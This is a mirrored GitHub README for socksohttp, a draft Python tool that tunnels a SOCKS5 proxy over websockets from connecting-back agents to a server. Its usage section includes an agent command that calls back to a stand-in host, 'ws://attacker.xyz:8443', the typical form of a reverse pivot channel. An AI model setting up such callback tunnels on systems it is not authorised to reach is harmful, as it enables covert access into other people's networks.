Git Product home page Git Product logo

socksohttp's Introduction

socksohttp

Socks5 server over Websockets

IMPORTANT

Project is draft, not fully tested.
Do NOT I REPEAT: DO NOT use the master branch as it is most likely will not work! I'll set up a semi-stable version soon in a separate branch

Prerequirements

Python>=3.6
websockets

What does it do?

The same script has two modes of operation: server and agent

server will set up a websocket listener. One or more agent will be connecting back to it.
When an agent connects the server will open a TCP port on localhost (one per agent).
This TCP port will act like if it would be a Socks5 server, but the actual Socks5 server will be running on the agent, the server only relays the incoming/outgoing traffic to and from the remote Socks 5 server.

Help

The script can be run in two modes: server and agent

server mode params

Command format: socksOhttp.py <verbosity> <mode> <listen_ip> <listen_port>
Example command: socksOhttp.py -vv server 0.0.0.0 8443

-v is setting the verbosity, be careful as the more verbose you set the slower the connection will be, as it will write ALL incoming and outgoing traffic in hex to stdout!
server is to run the script as a server
0.0.0.0 will make the server listen on all interfaces for incoming websocket agents
8443 is the port the server will listen for incoming websocket agents

agent mode params

Command format: socksOhttp.py <verbosity> <mode> <server_url> <-p proxy_url>
Example command: socksOhttp.py -vv agent ws://attacker.xyz:8443 -p http://127.0.0.1:8080

-v is setting the verbosity, be careful as the more verbose you set the slower the connection will be, as it will write ALL incoming and outgoing traffic in hex to stdout!
agent is to run the script as an agent
ws://attacker.xyz:8443 is the url of the server the agent should connect back to. Ovbiously replace attacker.xyz:8443 to your server's address.
-p http://127.0.0.1:8080 optional parameter, set it if you need to go trough a HTTP proxy

socksohttp's People

Contributors

skelsec avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.